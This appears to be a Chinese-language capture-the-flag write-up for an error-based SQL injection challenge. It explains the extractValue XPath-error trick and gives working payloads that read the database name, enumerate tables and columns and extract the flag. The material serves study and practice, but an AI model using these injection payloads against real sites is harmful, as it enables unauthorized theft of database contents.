当输入1时,发现只有查询正确,基本上可以判断出没有回显
开始注入(工具hackerBar)
题目是报错注入,方向就比较明显,大致说一下用到的函数和原理。
常见报错注入函数:
- 通过 floor() 报错注入
- 通过 extractValue() 报错注入
- 通过 updateXml() 报错注入
- 通过 NAME_Const() 报错注入
- 通过 join() 报错注入
- 通过 exp() 报错注入
不常见报错注入函数:
- 通过 geometryCollection() 报错注入
- 通过 polygon() 报错注入
- 通过 multipoint() 报错注入
- 通过 multlinestring() 报错注入
- 通过 multpolygon() 报错注入
- 通过 linestring() 报错注入
extractValue() 报错注入
函数 extractValue() 包含两个参数 ,第一个参数是 XML文档对象名称 ,第二个参数是 路径 。
格式:
sql
extractvalue(列名,'查询内容路径')
当查询的路径不存在时,,也不会报错:
sql
select extractvalue(doc,'/xxx/xxxx/xxxxx') from xml;
但第二个查询路径必须以斜杠(/)开始,否则将引起报错
构造报错 sql 的语句:
sql
select extractvalue(doc,'~/xxx/xxxx/xxxxx') from xml;
报错语句:
bash
ERROR 2013 (HY000): Lost connection to MySQL server during query
No connection. Trying to reconnect...
Connection id: 97
Current database: dbxx
ERROR 1105 (HY000): XPATH syntax error: '~xxx/xxxx/xxxxx'
原理
在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。 ! 也是不支持的,因此也可以使用。
开始注入(工具hackerBar)
与其他注入其实语句和思路相同,只需要把红字替换成你需要的 sql语句 即可回显
1 and extractValue(1,concat(0x7e,(select database()))) --+
此时已经得到数据库名:sqli
爆表和爆列在上一节已经讲过:
语句我也贴一下:
爆表:
sql
1 and extractValue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1))) --+
爆列(列名也是 flag):
sql
1 and extractValue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1))) --+
拿到flag:
sql
1 and extractValue(1,concat(0x7e,(select flag from flag))) --+